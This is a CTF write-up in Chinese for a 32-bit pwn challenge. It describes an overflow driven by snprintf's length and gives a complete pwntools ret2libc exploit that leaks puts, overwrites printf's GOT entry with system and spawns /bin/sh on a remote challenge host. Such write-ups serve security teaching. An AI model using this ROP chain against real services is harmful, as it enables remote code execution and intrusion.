pwn--game server

拿到题目按照国际惯例先checksec和IDA一波

image

image

发现只开了nx保护，这样的题目一般都是ret2libc了，观察题目，发现第33行的地方有溢出点，通过read函数可以向s里面写nbytes个字节，同时在第21行nbytes又可以被name和occupation这个两个变量的大小所影响，因为snprintf函数是有这个漏洞的：

image

s的栈空间大小是0x111，那么我们让nbytes的大小远超过0x111，就可以实现溢出。

溢出后就需要考虑用那种方式去getshell了，通过调试发现，溢出一次后并不能返回main函数，因此我们只有一次构造溢出的机会，那么这个时候就只能用gadget了，我们可以查到这些gadget：

image

我们这里需要用到的gadget是：pop ebp ret和pop esi ; pop edi ; pop ebp ; ret，利用他们来保存栈平衡，

接着构造paylode首先执行puts函数将puts的真正地址打印出来，接着执行read函数将system的地址写到printf的got表中，接着再执行read函数将/bin/sh参数读入bss段中，最后在执行printf函数也就是相对于执行了system(/bin/sh)

完整的exp如下：

coding:utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./pwn2')
p = remote('123.59.138.180',20000)
elf = ELF("./pwn2")

read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)

p_ebp_ret=0x0804881b# : pop ebp ; ret
p_ebx_ret=0x0804841d# : pop ebx ; ret
ppp_ret=0x08048819# : pop esi ; pop edi ; pop ebp ; ret
bss= elf.bss()

payload1 = 'a'*0xfc
p.recvuntil('name?\n')
p.sendline(payload1)

payload2 = 'b'*0xfc
p.recvuntil('occupation?\n')
p.sendline(payload2)

payload3 = 'Y'
p.recvuntil('[Y/N]\n')
p.sendline(payload3)

payload4 = 'a'*0x111+"aaaa"+ p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(elf.got['printf']) + p32(4) 
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss) + p32(8) 
payload4 += p32(elf.plt['printf']) + p32(0xdeadbeef) + p32(bss)
p.sendline(payload4)

p.recvuntil('\n')
p.recvuntil('\n')
p.recvuntil('\n')
sleep(0.1)

puts_addr = u32(p.recv(4)) #0xf7585140
print hex(puts_addr)
#这里得到puts函数真正地址的后四位是5140
#通过在网上查找，可以找到对应的libc版本和system、puts的偏移量：
offset_puts = 0x05f140
offset_system = 0x03a940
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system

p.send(p32(system_addr))
p.send('/bin/sh\x00')
p.interactive()